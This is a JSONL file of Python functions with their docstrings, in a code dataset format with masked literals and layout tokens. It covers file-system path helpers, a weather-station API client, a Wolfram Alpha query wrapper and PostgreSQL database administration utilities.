{"signature": "def zip_a_folder(src, dst):", "body": "if os.path.exists(dst):<EOL><INDENT>print(\"<STR_LIT>\" % dst)<EOL>return<EOL><DEDENT>src, dst = os.path.abspath(src), os.path.abspath(dst)<EOL>cwd = os.getcwd()<EOL>todo = list()<EOL>dirname, basename = os.path.split(src)<EOL>os.chdir(dirname)<EOL>for dirname, _, fnamelist in os.walk(basename):<EOL><INDENT>for fname in fnamelist:<EOL><INDENT>newname = os.path.join(dirname, fname)<EOL>todo.append(newname)<EOL><DEDENT><DEDENT>with ZipFile(dst, \"<STR_LIT:w>\") as f:<EOL><INDENT>for newname in todo:<EOL><INDENT>f.write(newname)<EOL><DEDENT><DEDENT>os.chdir(cwd)<EOL>", "docstring": "Add a folder and everything inside to zip archive.\n\nExample::\n\n    |---paper\n        |--- algorithm.pdf\n        |--- images\n            |--- 1.jpg\n\n    zip_a_folder(\"paper\", \"paper.zip\")\n\n    paper.zip\n        |---paper\n            |--- algorithm.pdf\n            |--- images\n                |--- 1.jpg\n\n**\u4e2d\u6587\u6587\u6863**\n\n\u5c06\u6574\u4e2a\u6587\u4ef6\u5939\u6dfb\u52a0\u5230\u538b\u7f29\u5305, \u5305\u62ec\u6839\u76ee\u5f55\u672c\u8eab\u3002", "id": "f2887:m0"}
{"signature": "def zip_everything_in_a_folder(src, dst):", "body": "if os.path.exists(dst):<EOL><INDENT>print(\"<STR_LIT>\" % dst)<EOL>return<EOL><DEDENT>src, dst = os.path.abspath(src), os.path.abspath(dst)<EOL>cwd = os.getcwd()<EOL>todo = list()<EOL>os.chdir(src)<EOL>for dirname, _, fnamelist in os.walk(os.getcwd()):<EOL><INDENT>for fname in fnamelist:<EOL><INDENT>newname = os.path.relpath(os.path.join(dirname, fname), src)<EOL>todo.append(newname)<EOL><DEDENT><DEDENT>with ZipFile(dst, \"<STR_LIT:w>\") as f:<EOL><INDENT>for newname in todo:<EOL><INDENT>f.write(newname)<EOL><DEDENT><DEDENT>os.chdir(cwd)<EOL>", "docstring": "Add everything in a folder except the root folder it self to zip archive.\n\nExample::\n\n    |---paper\n        |--- algorithm.pdf\n        |--- images\n            |--- 1.jpg\n\n    zip_everything_in_folder(\"paper\", \"paper.zip\")\n\n    paper.zip\n        |--- algorithm.pdf\n        |--- images\n            |--- 1.jpg\n\n**\u4e2d\u6587\u6587\u6863**\n\n\u5c06\u76ee\u5f55\u5185\u90e8\u7684\u6240\u6709\u6587\u4ef6\u6dfb\u52a0\u5230\u538b\u7f29\u5305, \u4e0d\u5305\u62ec\u6839\u76ee\u5f55\u672c\u8eab\u3002", "id": "f2887:m1"}
{"signature": "def zip_many_files(list_of_abspath, dst):", "body": "if os.path.exists(dst):<EOL><INDENT>print(\"<STR_LIT>\" % dst)<EOL>return<EOL><DEDENT>base_dir = os.getcwd()<EOL>with ZipFile(dst, \"<STR_LIT:w>\") as f:<EOL><INDENT>for abspath in list_of_abspath:<EOL><INDENT>dirname, basename = os.path.split(abspath)<EOL>os.chdir(dirname)<EOL>f.write(basename)<EOL><DEDENT><DEDENT>os.chdir(base_dir)<EOL>", "docstring": "Add many files to a zip archive.\n\n**\u4e2d\u6587\u6587\u6863**\n\n\u5c06\u4e00\u7cfb\u5217\u7684\u6587\u4ef6\u538b\u7f29\u5230\u4e00\u4e2a\u538b\u7f29\u5305\u4e2d, \u82e5\u6709\u91cd\u590d\u7684\u6587\u4ef6\u540d, \u5728zip\u4e2d\u4fdd\u7559\u6240\u6709\u7684\u526f\u672c\u3002", "id": "f2887:m2"}
{"signature": "def is_empty(self, strict=True):", "body": "if self.exists():<EOL><INDENT>if self.is_file():<EOL><INDENT>return self.size == <NUM_LIT:0><EOL><DEDENT>elif self.is_dir():<EOL><INDENT>if strict:<EOL><INDENT>return len(list(self.select(recursive=True))) == <NUM_LIT:0><EOL><DEDENT>else:  <EOL><INDENT>return len(list(self.select_file(recursive=True))) == <NUM_LIT:0><EOL><DEDENT><DEDENT>else:  <EOL><INDENT>msg = \"<STR_LIT>\" % self<EOL>raise EnvironmentError(msg)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>raise EnvironmentError(\"<STR_LIT>\" % self)<EOL><DEDENT>", "docstring": "- If it's a file, check if it is a empty file. (0 bytes content)\n- If it's a directory, check if there's no file and dir in it.\n    But if ``strict = False``, then only check if there's no file in it.\n\n:param strict: only useful when it is a directory. if True, only\n    return True if this dir has no dir and file. if False, return True\n    if it doesn't have any file.", "id": "f2888:c0:m4"}
{"signature": "def auto_complete_choices(self, case_sensitive=False):", "body": "self_basename = self.basename<EOL>self_basename_lower = self.basename.lower()<EOL>if case_sensitive:  <EOL><INDENT>def match(basename):<EOL><INDENT>return basename.startswith(self_basename)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>def match(basename):<EOL><INDENT>return basename.lower().startswith(self_basename_lower)<EOL><DEDENT><DEDENT>choices = list()<EOL>if self.is_dir():<EOL><INDENT>choices.append(self)<EOL>for p in self.sort_by_abspath(self.select(recursive=False)):<EOL><INDENT>choices.append(p)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>p_parent = self.parent<EOL>if p_parent.is_dir():<EOL><INDENT>for p in self.sort_by_abspath(p_parent.select(recursive=False)):<EOL><INDENT>if match(p.basename):<EOL><INDENT>choices.append(p)<EOL><DEDENT><DEDENT><DEDENT>else:  <EOL><INDENT>raise ValueError(\"<STR_LIT>\" % p_parent)<EOL><DEDENT><DEDENT>return choices<EOL>", "docstring": "A command line auto complete similar behavior. Find all item with same\nprefix of this one.\n\n:param case_sensitive: toggle if it is case sensitive.\n:return: list of :class:`pathlib_mate.pathlib2.Path`.", "id": "f2888:c0:m5"}
{"signature": "def print_big_dir(self, top_n=<NUM_LIT:5>):", "body": "self.assert_is_dir_and_exists()<EOL>size_table = sorted(<EOL>[(p, p.dirsize) for p in self.select_dir(recursive=False)],<EOL>key=lambda x: x[<NUM_LIT:1>],<EOL>reverse=True,<EOL>)<EOL>for p, size in size_table[:top_n]:<EOL><INDENT>print(\"<STR_LIT>\".format(repr_data_size(size), p.abspath))<EOL><DEDENT>", "docstring": "Print ``top_n`` big dir in this dir.", "id": "f2888:c0:m6"}
{"signature": "def print_big_file(self, top_n=<NUM_LIT:5>):", "body": "self.assert_is_dir_and_exists()<EOL>size_table = sorted(<EOL>[(p, p.size) for p in self.select_file(recursive=True)],<EOL>key=lambda x: x[<NUM_LIT:1>],<EOL>reverse=True,<EOL>)<EOL>for p, size in size_table[:top_n]:<EOL><INDENT>print(\"<STR_LIT>\".format(repr_data_size(size), p.abspath))<EOL><DEDENT>", "docstring": "Print ``top_n`` big file in this dir.", "id": "f2888:c0:m7"}
{"signature": "def print_big_dir_and_big_file(self, top_n=<NUM_LIT:5>):", "body": "self.assert_is_dir_and_exists()<EOL>size_table1 = sorted(<EOL>[(p, p.dirsize) for p in self.select_dir(recursive=False)],<EOL>key=lambda x: x[<NUM_LIT:1>],<EOL>reverse=True,<EOL>)<EOL>for p1, size1 in size_table1[:top_n]:<EOL><INDENT>print(\"<STR_LIT>\".format(repr_data_size(size1), p1.abspath))<EOL>size_table2 = sorted(<EOL>[(p, p.size) for p in p1.select_file(recursive=True)],<EOL>key=lambda x: x[<NUM_LIT:1>],<EOL>reverse=True,<EOL>)<EOL>for p2, size2 in size_table2[:top_n]:<EOL><INDENT>print(\"<STR_LIT>\".format(<EOL>repr_data_size(size2), p2.abspath))<EOL><DEDENT><DEDENT>", "docstring": "Print ``top_n`` big dir and ``top_n`` big file in each dir.", "id": "f2888:c0:m8"}
{"signature": "def file_stat_for_all(self, filters=all_true):  ", "body": "self.assert_is_dir_and_exists()<EOL>from collections import OrderedDict<EOL>stat = OrderedDict()<EOL>stat[self.abspath] = {\"<STR_LIT:file>\": <NUM_LIT:0>, \"<STR_LIT>\": <NUM_LIT:0>, \"<STR_LIT:size>\": <NUM_LIT:0>}<EOL>for p in self.select(filters=filters, recursive=True):<EOL><INDENT>if p.is_file():<EOL><INDENT>size = p.size<EOL>while <NUM_LIT:1>:<EOL><INDENT>parent = p.parent<EOL>stat[parent.abspath][\"<STR_LIT:file>\"] += <NUM_LIT:1><EOL>stat[parent.abspath][\"<STR_LIT:size>\"] += size<EOL>if parent.abspath == self.abspath:<EOL><INDENT>break<EOL><DEDENT>p = parent<EOL><DEDENT><DEDENT>elif p.is_dir():<EOL><INDENT>stat[p.abspath] = {\"<STR_LIT:file>\": <NUM_LIT:0>, \"<STR_LIT>\": <NUM_LIT:0>, \"<STR_LIT:size>\": <NUM_LIT:0>}<EOL>while <NUM_LIT:1>:<EOL><INDENT>parent = p.parent<EOL>stat[parent.abspath][\"<STR_LIT>\"] += <NUM_LIT:1><EOL>if parent.abspath == self.abspath:<EOL><INDENT>break<EOL><DEDENT>p = parent<EOL><DEDENT><DEDENT><DEDENT>return stat<EOL>", "docstring": "Find out how many files, directories and total size (Include file in\nit's sub-folder) it has for each folder and sub-folder.\n\n:returns: stat, a dict like ``{\"directory path\": {\n  \"file\": number of files, \"dir\": number of directories,\n  \"size\": total size in bytes}}``\n\n**\u4e2d\u6587\u6587\u6863**\n\n\u8fd4\u56de\u4e00\u4e2a\u76ee\u5f55\u4e2d\u7684\u6bcf\u4e2a\u5b50\u76ee\u5f55\u7684, \u6587\u4ef6, \u6587\u4ef6\u5939, \u5927\u5c0f\u7684\u7edf\u8ba1\u6570\u636e\u3002", "id": "f2888:c0:m9"}
{"signature": "def file_stat(self, filters=all_true):", "body": "self.assert_is_dir_and_exists()<EOL>stat = {\"<STR_LIT:file>\": <NUM_LIT:0>, \"<STR_LIT>\": <NUM_LIT:0>, \"<STR_LIT:size>\": <NUM_LIT:0>}<EOL>for p in self.select(filters=filters, recursive=True):<EOL><INDENT>if p.is_file():<EOL><INDENT>stat[\"<STR_LIT:file>\"] += <NUM_LIT:1><EOL>stat[\"<STR_LIT:size>\"] += p.size<EOL><DEDENT>elif p.is_dir():<EOL><INDENT>stat[\"<STR_LIT>\"] += <NUM_LIT:1><EOL><DEDENT><DEDENT>return stat<EOL>", "docstring": "Find out how many files, directorys and total size (Include file in\n        it's sub-folder).\n\n        :returns: stat, a dict like ``{\"file\": number of files,\n          \"dir\": number of directorys, \"size\": total size in bytes}``\n\n        **\u4e2d\u6587\u6587\u6863**\n\n        \u8fd4\u56de\u4e00\u4e2a\u76ee\u5f55\u4e2d\u7684\u6587\u4ef6, \u6587\u4ef6\u5939, \u5927\u5c0f\u7684\u7edf\u8ba1\u6570\u636e\u3002", "id": "f2888:c0:m10"}
{"signature": "def mirror_to(self, dst):  ", "body": "self.assert_is_dir_and_exists()<EOL>src = self.abspath<EOL>dst = os.path.abspath(dst)<EOL>if os.path.exists(dst):  <EOL><INDENT>raise Exception(\"<STR_LIT>\")<EOL><DEDENT>folder_to_create = list()<EOL>file_to_create = list()<EOL>for current_folder, _, file_list in os.walk(self.abspath):<EOL><INDENT>current_folder = current_folder.replace(src, dst)<EOL>try:<EOL><INDENT>os.mkdir(current_folder)<EOL><DEDENT>except:  <EOL><INDENT>pass<EOL><DEDENT>for basename in file_list:<EOL><INDENT>abspath = os.path.join(current_folder, basename)<EOL>with open(abspath, \"<STR_LIT:wb>\") as _:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Create a new folder having exactly same structure with this directory.\nHowever, all files are just empty file with same file name.\n\n:param dst: destination directory. The directory can't exists before\nyou execute this.\n\n**\u4e2d\u6587\u6587\u6863**\n\n\u521b\u5efa\u4e00\u4e2a\u76ee\u5f55\u7684\u955c\u50cf\u62f7\u8d1d, \u4e0e\u62f7\u8d1d\u64cd\u4f5c\u4e0d\u540c\u7684\u662f, \u6587\u4ef6\u7684\u526f\u672c\u53ea\u662f\u5728\u6587\u4ef6\u540d\u4e0a\n\u4e0e\u539f\u4ef6\u4e00\u81f4, \u4f46\u662f\u662f\u7a7a\u6587\u4ef6, \u5b8c\u5168\u6ca1\u6709\u5185\u5bb9, \u6587\u4ef6\u5927\u5c0f\u4e3a0\u3002", "id": "f2888:c0:m11"}
{"signature": "def execute_pyfile(self, py_exe=None):  ", "body": "import subprocess<EOL>self.assert_is_dir_and_exists()<EOL>if py_exe is None:<EOL><INDENT>if six.PY2:<EOL><INDENT>py_exe = \"<STR_LIT>\"<EOL><DEDENT>elif six.PY3:<EOL><INDENT>py_exe = \"<STR_LIT>\"<EOL><DEDENT><DEDENT>for p in self.select_by_ext(\"<STR_LIT>\"):<EOL><INDENT>subprocess.Popen('<STR_LIT>' % (py_exe, p.abspath))<EOL><DEDENT>", "docstring": "Execute every ``.py`` file as main script.\n\n:param py_exe: str, python command or python executable path.\n\n**\u4e2d\u6587\u6587\u6863**\n\n\u5c06\u76ee\u5f55\u4e0b\u7684\u6240\u6709Python\u6587\u4ef6\u4f5c\u4e3a\u4e3b\u811a\u672c\u7528\u5f53\u524d\u89e3\u91ca\u5668\u8fd0\u884c\u3002", "id": "f2888:c0:m12"}
{"signature": "def trail_space(self, filters=lambda p: p.ext == \"<STR_LIT>\"):  ", "body": "self.assert_is_dir_and_exists()<EOL>for p in self.select_file(filters):<EOL><INDENT>try:<EOL><INDENT>with open(p.abspath, \"<STR_LIT:rb>\") as f:<EOL><INDENT>lines = list()<EOL>for line in f:<EOL><INDENT>lines.append(line.decode(\"<STR_LIT:utf-8>\").rstrip())<EOL><DEDENT><DEDENT>with open(p.abspath, \"<STR_LIT:wb>\") as f:<EOL><INDENT>f.write(\"<STR_LIT:\\n>\".join(lines).encode(\"<STR_LIT:utf-8>\"))<EOL><DEDENT><DEDENT>except Exception as e:  <EOL><INDENT>raise e<EOL><DEDENT><DEDENT>", "docstring": "Trail white space at end of each line for every ``.py`` file.\n\n**\u4e2d\u6587\u6587\u6863**\n\n\u5c06\u76ee\u5f55\u4e0b\u7684\u6240\u6709\u88ab\u9009\u62e9\u7684\u6587\u4ef6\u4e2d\u884c\u672b\u7684\u7a7a\u683c\u5220\u9664\u3002", "id": "f2888:c0:m13"}
{"signature": "def autopep8(self, **kwargs):  ", "body": "self.assert_is_dir_and_exists()<EOL>for p in self.select_by_ext(\"<STR_LIT>\"):<EOL><INDENT>with open(p.abspath, \"<STR_LIT:rb>\") as f:<EOL><INDENT>code = f.read().decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>formatted_code = autopep8.fix_code(code, **kwargs)<EOL>with open(p.abspath, \"<STR_LIT:wb>\") as f:<EOL><INDENT>f.write(formatted_code.encode(\"<STR_LIT:utf-8>\"))<EOL><DEDENT><DEDENT>", "docstring": "Auto convert your python code in a directory to pep8 styled code.\n\n:param kwargs: arguments for ``autopep8.fix_code`` method.\n\n**\u4e2d\u6587\u6587\u6863**\n\n\u5c06\u76ee\u5f55\u4e0b\u7684\u6240\u6709Python\u6587\u4ef6\u7528pep8\u98ce\u683c\u683c\u5f0f\u5316\u3002\u589e\u52a0\u5176\u53ef\u8bfb\u6027\u548c\u89c4\u8303\u6027\u3002", "id": "f2888:c0:m14"}
{"signature": "def encode_hexstr(text):", "body": "return binascii.b2a_hex(text.encode(\"<STR_LIT:utf-8>\")).decode(\"<STR_LIT:utf-8>\")<EOL>", "docstring": "Convert any utf-8 string to hex string.\n\n**\u4e2d\u6587\u6587\u6863**\n\n\u5c06\u4efb\u610futf-8\u5b57\u7b26\u4e32\u7f16\u7801\u4e3a16\u8fdb\u5236\u5b57\u7b26\u4e32\u3002", "id": "f2889:m0"}
{"signature": "def decode_hexstr(text):", "body": "return binascii.a2b_hex(text.encode(\"<STR_LIT:utf-8>\")).decode(\"<STR_LIT:utf-8>\")<EOL>", "docstring": "Reverse operation of :func:`encode_hexstr`.\n\n**\u4e2d\u6587\u6587\u6863**\n\n\u5c0616\u8fdb\u5236\u5b57\u7b26\u4e32\u89e3\u7801\u4e3a\u539f\u5b57\u7b26\u4e32\u3002", "id": "f2889:m1"}
{"signature": "def drop_parts(self, n=<NUM_LIT:1>):", "body": "return self.__class__(*self.parts[:-n])<EOL>", "docstring": "Drop parts from the ends.\n\n:param n: integer, number of parts you wants to drop from ends.\n  n has to greater equal than 0.\n\n:returns: a new Path object.\n\nExample::\n\n    >>> self.__class__(\"/usr/bin/python\").drop_parts(1)\n    \"/user/bin\"\n\n    >>> self.__class__(\"/usr/bin/python\").drop_parts(2)\n    \"/user\"", "id": "f2890:c0:m0"}
{"signature": "def append_parts(self, *parts):", "body": "return self.__class__(self, *parts)<EOL>", "docstring": "Append some parts to the end of this path.\n\n:returns: a new Path object.\n\nExample::\n\n    >>> self.__class__(\"/usr/bin/python\").append_parts(\"lib\")\n    \"/user/bin/python/lib\"\n\n    >>> self.__class__(\"/usr/bin/python\").append_parts(\"lib\", \"core.py\")\n    \"/user/bin/python/lib/core.py\"", "id": "f2890:c0:m1"}
{"signature": "def change(self,<EOL>new_abspath=None,<EOL>new_dirpath=None,<EOL>new_dirname=None,<EOL>new_basename=None,<EOL>new_fname=None,<EOL>new_ext=None):", "body": "if new_abspath is not None:<EOL><INDENT>p = self.__class__(new_abspath)<EOL>return p<EOL><DEDENT>if (new_dirpath is None) and (new_dirname is not None):<EOL><INDENT>new_dirpath = os.path.join(self.parent.dirpath, new_dirname)<EOL><DEDENT>elif (new_dirpath is not None) and (new_dirname is None):<EOL><INDENT>new_dirpath = new_dirpath<EOL><DEDENT>elif (new_dirpath is None) and (new_dirname is None):<EOL><INDENT>new_dirpath = self.dirpath<EOL><DEDENT>elif (new_dirpath is not None) and (new_dirname is not None):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if new_basename is None:<EOL><INDENT>if new_fname is None:<EOL><INDENT>new_fname = self.fname<EOL><DEDENT>if new_ext is None:<EOL><INDENT>new_ext = self.ext<EOL><DEDENT>new_basename = new_fname + new_ext<EOL><DEDENT>else:<EOL><INDENT>if new_fname is not None or new_ext is not None:<EOL><INDENT>raise ValueError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT><DEDENT>return self.__class__(new_dirpath, new_basename)<EOL>", "docstring": "Return a new :class:`pathlib_mate.pathlib2.Path` object with updated information.", "id": "f2890:c0:m2"}
{"signature": "def is_not_exist_or_allow_overwrite(self, overwrite=False):", "body": "if self.exists() and overwrite is False:<EOL><INDENT>return False<EOL><DEDENT>else:  <EOL><INDENT>return True<EOL><DEDENT>", "docstring": "Test whether a file target is not exists or it exists but allow\noverwrite.", "id": "f2890:c0:m3"}
{"signature": "def moveto(self,<EOL>new_abspath=None,<EOL>new_dirpath=None,<EOL>new_dirname=None,<EOL>new_basename=None,<EOL>new_fname=None,<EOL>new_ext=None,<EOL>overwrite=False,<EOL>makedirs=False):", "body": "self.assert_exists()<EOL>p = self.change(<EOL>new_abspath=new_abspath,<EOL>new_dirpath=new_dirpath,<EOL>new_dirname=new_dirname,<EOL>new_basename=new_basename,<EOL>new_fname=new_fname,<EOL>new_ext=new_ext,<EOL>)<EOL>if p.is_not_exist_or_allow_overwrite(overwrite=overwrite):<EOL><INDENT>if self.abspath != p.abspath:<EOL><INDENT>if makedirs:<EOL><INDENT>parent = p.parent<EOL>if not parent.exists():<EOL><INDENT>os.makedirs(parent.abspath)<EOL><DEDENT><DEDENT>self.rename(p)<EOL><DEDENT><DEDENT>return p<EOL>", "docstring": "An advanced :meth:`pathlib_mate.pathlib2.Path.rename` method provide ability to rename by\neach components of a path. A new ``Path`` instance will returns.\n\n**\u4e2d\u6587\u6587\u6863**\n\n\u9ad8\u7ea7\u91cd\u547d\u540d\u51fd\u6570, \u5141\u8bb8\u7528\u4e8e\u6839\u636e\u8def\u5f84\u7684\u5404\u4e2a\u7ec4\u6210\u90e8\u5206\u8fdb\u884c\u91cd\u547d\u540d\u3002\u4f46\u548cos.rename\n\u65b9\u6cd5\u4e00\u6837, \u9700\u8981\u4fdd\u8bc1\u6bcd\u6587\u4ef6\u5939\u5b58\u5728\u3002", "id": "f2890:c0:m4"}
{"signature": "def copyto(self,<EOL>new_abspath=None,<EOL>new_dirpath=None,<EOL>new_dirname=None,<EOL>new_basename=None,<EOL>new_fname=None,<EOL>new_ext=None,<EOL>overwrite=False,<EOL>makedirs=False):", "body": "self.assert_exists()<EOL>p = self.change(<EOL>new_abspath=new_abspath,<EOL>new_dirpath=new_dirpath,<EOL>new_dirname=new_dirname,<EOL>new_basename=new_basename,<EOL>new_fname=new_fname,<EOL>new_ext=new_ext,<EOL>)<EOL>if p.is_not_exist_or_allow_overwrite(overwrite=overwrite):<EOL><INDENT>if self.abspath != p.abspath:<EOL><INDENT>try:<EOL><INDENT>shutil.copy(self.abspath, p.abspath)<EOL><DEDENT>except IOError as e:<EOL><INDENT>if makedirs:<EOL><INDENT>os.makedirs(p.parent.abspath)<EOL>shutil.copy(self.abspath, p.abspath)<EOL><DEDENT>else:<EOL><INDENT>raise e<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return p<EOL>", "docstring": "Copy this file to other place.", "id": "f2890:c0:m5"}
{"signature": "def remove(self, *args, **kwargs):", "body": "self.unlink(*args, **kwargs)<EOL>", "docstring": "Remove it.", "id": "f2890:c0:m6"}
{"signature": "def get_data(self, **kwargs):", "body": "limit = int(kwargs.get('<STR_LIT>', <NUM_LIT>))<EOL>end_date = kwargs.get('<STR_LIT>', False)<EOL>if end_date and isinstance(end_date, datetime.datetime):<EOL><INDENT>end_date = self.convert_datetime(end_date)<EOL><DEDENT>if self.mac_address is not None:<EOL><INDENT>service_address = '<STR_LIT>' % self.mac_address<EOL>self.api_instance.log('<STR_LIT>' % service_address)<EOL>data = dict(limit=limit)<EOL>if end_date:<EOL><INDENT>data.update({'<STR_LIT>': end_date})<EOL><DEDENT>self.api_instance.log('<STR_LIT>')<EOL>self.api_instance.log(data)<EOL>return self.api_instance.api_call(service_address, **data)<EOL><DEDENT>", "docstring": "Get the data for a specific device for a specific end date\n\nKeyword Arguments:\n    limit - max 288\n    end_date - is Epoch in milliseconds\n\n:return:", "id": "f2896:c0:m4"}
{"signature": "def get_devices(self):", "body": "retn = []<EOL>api_devices = self.api_call('<STR_LIT>')<EOL>self.log('<STR_LIT>')<EOL>self.log(api_devices)<EOL>for device in api_devices:<EOL><INDENT>retn.append(AmbientWeatherStation(self, device))<EOL><DEDENT>self.log('<STR_LIT>')<EOL>self.log(retn)<EOL>return retn<EOL>", "docstring": "Get all devices\n\n:return:\n    A list of AmbientWeatherStation instances.", "id": "f2896:c1:m3"}
{"signature": "def __init__(self, appid):", "body": "self.appid = appid<EOL>", "docstring": "Create a Tungsten object with a set appid", "id": "f2901:c0:m0"}
{"signature": "def query(self, input = '<STR_LIT>', params = {}):", "body": "<EOL>payload = {'<STR_LIT:input>': input,<EOL>'<STR_LIT>': self.appid}<EOL>for key, value in list(params.items()):<EOL><INDENT>if isinstance(value, (list, tuple)):<EOL><INDENT>payload[key] = '<STR_LIT:U+002C>'.join(value)<EOL><DEDENT>else:<EOL><INDENT>payload[key] = value<EOL><DEDENT><DEDENT>try:<EOL><INDENT>r = requests.get(\"<STR_LIT>\", params=payload)<EOL>if r.status_code != <NUM_LIT:200>:<EOL><INDENT>raise Exception('<STR_LIT>' % (r.status_code))<EOL><DEDENT>if r.encoding != '<STR_LIT:utf-8>':<EOL><INDENT>raise Exception('<STR_LIT>' % (r.encoding))<EOL><DEDENT><DEDENT>except Exception as e:<EOL><INDENT>return Result(error = e)<EOL><DEDENT>return Result(xml = r.text)<EOL>", "docstring": "Query Wolfram Alpha and return a Result object", "id": "f2901:c0:m1"}
{"signature": "@property<EOL><INDENT>def pods(self):<DEDENT>", "body": "<EOL>if not self.xml_tree:<EOL><INDENT>return []<EOL><DEDENT>return [Pod(elem) for elem in self.xml_tree.findall('<STR_LIT>')]<EOL>", "docstring": "Return list of all Pod objects in result", "id": "f2901:c1:m3"}
{"signature": "def __init__(self, pod_root):", "body": "self.root = pod_root<EOL>self.xml_tree = ElementTree(pod_root)<EOL>", "docstring": "Create a Pod object using the ElementTree at the root", "id": "f2901:c2:m0"}
{"signature": "@property<EOL><INDENT>def format(self):<DEDENT>", "body": "formats = {}<EOL>for subpod in self.root.findall('<STR_LIT>'):<EOL><INDENT>for elem in list(subpod):<EOL><INDENT>if elem.tag == '<STR_LIT:state>':<EOL><INDENT>continue<EOL><DEDENT>content = elem.text<EOL>if elem.tag == '<STR_LIT>':<EOL><INDENT>content = {'<STR_LIT:url>': elem.get('<STR_LIT:src>'),<EOL>'<STR_LIT>': elem.get('<STR_LIT>'),<EOL>'<STR_LIT:title>': elem.get('<STR_LIT:title>'),<EOL>'<STR_LIT:width>': int(elem.get('<STR_LIT:width>', <NUM_LIT:0>)),<EOL>'<STR_LIT>': int(elem.get('<STR_LIT>', <NUM_LIT:0>))}<EOL><DEDENT>if elem.tag not in formats:<EOL><INDENT>formats[elem.tag] = [content]<EOL><DEDENT>else:<EOL><INDENT>formats[elem.tag].append(content)<EOL><DEDENT><DEDENT><DEDENT>return formats<EOL>", "docstring": "Dictionary of available formats, corresponding to a list of the values\nExample: pod.format['plaintext'] will return a list of every plaintext\n         content in the pod's subpods", "id": "f2901:c2:m4"}
{"signature": "def __init__(self, host='<STR_LIT:localhost>', port=<NUM_LIT>, database='<STR_LIT>', user=None, password=None,<EOL>sslmode=None, sslcert=None, sslkey=None, application_name='<STR_LIT>'):", "body": "if user is None:<EOL><INDENT>user = getpass.getuser()<EOL><DEDENT>self._connect_args = dict(<EOL>application_name=application_name,<EOL>database=database, user=user, password=password,<EOL>host=host, port=port,<EOL>sslmode=sslmode, sslcert=sslcert, sslkey=sslkey,<EOL>)<EOL>self._bin_paths = {}<EOL>", "docstring": "Constructor.\n\nAll arguments are optional and sensible defaults. Override using args depending on your needs.\n\nParameters\n----------\nhost: str, optional\n    remote server IP address or hostname\nport: int, optional\n    remote server port\ndatabase: str, optional\n    name of database to connect to\nuser: str\n    name of user (with required admin privileges)\npassword:\n    password for user\nsslmode: str, optional\n    mode for SSL connection\nsslcert: str, optional\n    file path to SSL certificate for connection\nsslkey: str, optional\n    file path to SSL key for connection\napplication_name: str, optional\n    allow user to specify the app name in the connection", "id": "f2908:c0:m0"}
{"signature": "def names(self):", "body": "stmt = \"\"\"<STR_LIT>\"\"\"<EOL>return [x['<STR_LIT>'] for x in self._iter_results(stmt)]<EOL>", "docstring": "Returns a list of all database names.", "id": "f2908:c0:m5"}
{"signature": "def exists(self, name):", "body": "return name in self.names()<EOL>", "docstring": "Returns True if named database exists, False otherwise.", "id": "f2908:c0:m6"}
{"signature": "def create(self, name):", "body": "log.info('<STR_LIT>' % name)<EOL>self._run_stmt('<STR_LIT>' % name)<EOL>", "docstring": "Creates a new database.", "id": "f2908:c0:m7"}
{"signature": "def drop(self, name):", "body": "log.info('<STR_LIT>' % name)<EOL>self._run_stmt('<STR_LIT>' % name)<EOL>", "docstring": "Drops an existing database.", "id": "f2908:c0:m8"}
{"signature": "def rename(self, from_name, to_name):", "body": "log.info('<STR_LIT>' % (from_name, to_name))<EOL>self._run_stmt('<STR_LIT>' % (from_name, to_name))<EOL>", "docstring": "Renames an existing database.", "id": "f2908:c0:m9"}
{"signature": "def connections(self, name):", "body": "stmt = \"\"\"<STR_LIT>\"\"\".format(fields='<STR_LIT:U+002CU+0020>'.join(CONNECTION_FIELDS), datname=name)<EOL>return list(Connection(**x) for x in self._iter_results(stmt))<EOL>", "docstring": "Returns a list of existing connections to the named database.", "id": "f2908:c0:m10"}
{"signature": "def kill_connections(self, name):", "body": "log.info('<STR_LIT>' % name)<EOL>self._run_stmt(\"\"\"<STR_LIT>\"\"\" % name)<EOL>", "docstring": "Drops all connections to the specified database.", "id": "f2908:c0:m11"}
{"signature": "def available(self, timeout=<NUM_LIT:5>):", "body": "host = self._connect_args['<STR_LIT:host>']<EOL>port = self._connect_args['<STR_LIT:port>']<EOL>try:<EOL><INDENT>sock = socket.create_connection((host, port), timeout=timeout)<EOL>sock.close()<EOL>return True<EOL><DEDENT>except socket.error:<EOL><INDENT>pass<EOL><DEDENT>return False<EOL>", "docstring": "Returns True if database server is running, False otherwise.", "id": "f2908:c0:m12"}
{"signature": "def dump(self, name, filename):", "body": "if not self.exists(name):<EOL><INDENT>raise DatabaseError('<STR_LIT>')<EOL><DEDENT>log.info('<STR_LIT>' % (name, filename))<EOL>self._run_cmd('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>' % filename, name)<EOL>", "docstring": "Saves the state of a database to a file.\n\nParameters\n----------\nname: str\n    the database to be backed up.\nfilename: str\n    path to a file where database backup will be written.", "id": "f2908:c0:m13"}
{"signature": "def restore(self, name, filename):", "body": "if not self.exists(name):<EOL><INDENT>self.create(name)<EOL><DEDENT>else:<EOL><INDENT>log.warn('<STR_LIT>' % name)<EOL><DEDENT>log.info('<STR_LIT>' % (name, filename))<EOL>self._run_cmd('<STR_LIT>', '<STR_LIT>', '<STR_LIT>' % name, filename)<EOL>", "docstring": "Loads state of a backup file to a database.\n\nNote\n----\nIf database name does not exist, it will be created.\n\nParameters\n----------\nname: str\n    the database to which backup will be restored.\nfilename: str\n    path to a file contain a postgres database backup.", "id": "f2908:c0:m14"}
{"signature": "def connection_dsn(self, name=None):", "body": "return '<STR_LIT:U+0020>'.join(\"<STR_LIT>\" % (param, value) for param, value in self._connect_options(name))<EOL>", "docstring": "Provides a connection string for database.\n\nParameters\n----------\nname: str, optional\n    an override database name for the connection string.\n\nReturns\n-------\nstr: the connection string (e.g. 'dbname=db1 user=user1 host=localhost port=5432')", "id": "f2908:c0:m16"}
